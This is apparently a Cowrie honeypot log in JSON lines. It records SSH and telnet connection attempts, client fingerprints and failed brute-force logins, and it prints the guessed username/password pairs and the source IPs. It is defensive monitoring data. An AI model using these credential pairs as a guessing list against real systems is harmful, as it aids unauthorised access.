{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:13.159009Z","src_ip":"91.92.40.4","session":"c9f35f633bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass1234","message":"login attempt [user/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:13.485555Z","src_ip":"91.92.40.4","session":"c9f35f633bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:14.573005Z","src_ip":"91.92.40.4","session":"c9f35f633bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":55572,"dst_ip":"159.203.135.109","dst_port":22,"session":"2623b7400ac9","protocol":"ssh","message":"New connection: 154.18.197.35:55572 (159.203.135.109:22) [session: 2623b7400ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:23.146234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:23.149923Z","src_ip":"154.18.197.35","session":"2623b7400ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:23.368974Z","src_ip":"154.18.197.35","session":"2623b7400ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwertyuiop","message":"login attempt [postgres/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:24.310042Z","src_ip":"154.18.197.35","session":"2623b7400ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42476,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af67e1b3704","protocol":"telnet","message":"New connection: 170.64.224.25:42476 (159.203.135.109:23) [session: 2af67e1b3704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:25.383471Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:25.531656Z","src_ip":"154.18.197.35","session":"2623b7400ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.004786252975464,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:38.446202Z","src_ip":"170.64.224.25","session":"5e07b219b7d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":41534,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5e59c98fa51","protocol":"ssh","message":"New connection: 20.228.193.165:41534 (10.17.0.5:22) [session: b5e59c98fa51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.239845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.243045Z","src_ip":"20.228.193.165","session":"b5e59c98fa51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.310522Z","src_ip":"20.228.193.165","session":"b5e59c98fa51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2024","message":"login attempt [postgres/postgres2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.367755Z","src_ip":"20.228.193.165","session":"b5e59c98fa51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":56718,"dst_ip":"10.17.0.5","dst_port":22,"session":"aceadca2f537","protocol":"ssh","message":"New connection: 138.197.164.175:56718 (10.17.0.5:22) [session: aceadca2f537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.590068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.593469Z","src_ip":"138.197.164.175","session":"aceadca2f537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.611013Z","src_ip":"138.197.164.175","session":"aceadca2f537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"us3r","message":"login attempt [user/us3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:47.717935Z","src_ip":"138.197.164.175","session":"aceadca2f537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:48.380077Z","src_ip":"20.228.193.165","session":"b5e59c98fa51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:48.738964Z","src_ip":"138.197.164.175","session":"aceadca2f537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51918,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbad9cc67343","protocol":"telnet","message":"New connection: 170.64.224.25:51918 (159.203.135.109:23) [session: fbad9cc67343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:50.777041Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":35786,"dst_ip":"10.17.0.5","dst_port":22,"session":"15fbd1afe1aa","protocol":"ssh","message":"New connection: 162.214.159.200:35786 (10.17.0.5:22) [session: 15fbd1afe1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:58.498438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:58.502291Z","src_ip":"162.214.159.200","session":"15fbd1afe1aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:58.584780Z","src_ip":"162.214.159.200","session":"15fbd1afe1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bnb","password":"bnb999","message":"login attempt [bnb/bnb999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:38:58.833546Z","src_ip":"162.214.159.200","session":"15fbd1afe1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:00.210089Z","src_ip":"162.214.159.200","session":"15fbd1afe1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.2848961353302,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:00.713987Z","src_ip":"167.172.116.158","session":"f7a90bd3ffe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":59662,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d25fb153f5e","protocol":"ssh","message":"New connection: 189.203.163.10:59662 (10.17.0.5:22) [session: 1d25fb153f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:04.336076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:04.340712Z","src_ip":"189.203.163.10","session":"1d25fb153f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:04.403484Z","src_ip":"189.203.163.10","session":"1d25fb153f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"multi123","message":"login attempt [root/multi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:04.685522Z","src_ip":"189.203.163.10","session":"1d25fb153f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":40478,"dst_ip":"10.17.0.5","dst_port":22,"session":"5df0bf60778d","protocol":"ssh","message":"New connection: 160.174.129.232:40478 (10.17.0.5:22) [session: 5df0bf60778d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:05.061755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:05.065466Z","src_ip":"160.174.129.232","session":"5df0bf60778d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:05.205060Z","src_ip":"160.174.129.232","session":"5df0bf60778d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:05.750509Z","src_ip":"189.203.163.10","session":"1d25fb153f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345!","message":"login attempt [root/Qwerty12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:05.802372Z","src_ip":"160.174.129.232","session":"5df0bf60778d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:06.945380Z","src_ip":"160.174.129.232","session":"5df0bf60778d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":36334,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a55140e5fa5","protocol":"ssh","message":"New connection: 165.232.38.41:36334 (159.203.135.109:22) [session: 3a55140e5fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:12.793602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:12.797250Z","src_ip":"165.232.38.41","session":"3a55140e5fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:12.865811Z","src_ip":"165.232.38.41","session":"3a55140e5fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:13.175976Z","src_ip":"165.232.38.41","session":"3a55140e5fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:14.248529Z","src_ip":"165.232.38.41","session":"3a55140e5fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47400,"dst_ip":"159.203.135.109","dst_port":23,"session":"73fea61da9fb","protocol":"telnet","message":"New connection: 170.64.224.25:47400 (159.203.135.109:23) [session: 73fea61da9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:26.403503Z"}
{"eventid":"cowrie.session.closed","duration":40.004316091537476,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:30.781210Z","src_ip":"170.64.224.25","session":"fbad9cc67343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":33484,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fc0deeb4263","protocol":"ssh","message":"New connection: 162.241.129.208:33484 (10.17.0.5:22) [session: 5fc0deeb4263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:52.915241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:39:52.918638Z","src_ip":"162.241.129.208","session":"5fc0deeb4263","protocol":"ssh"}
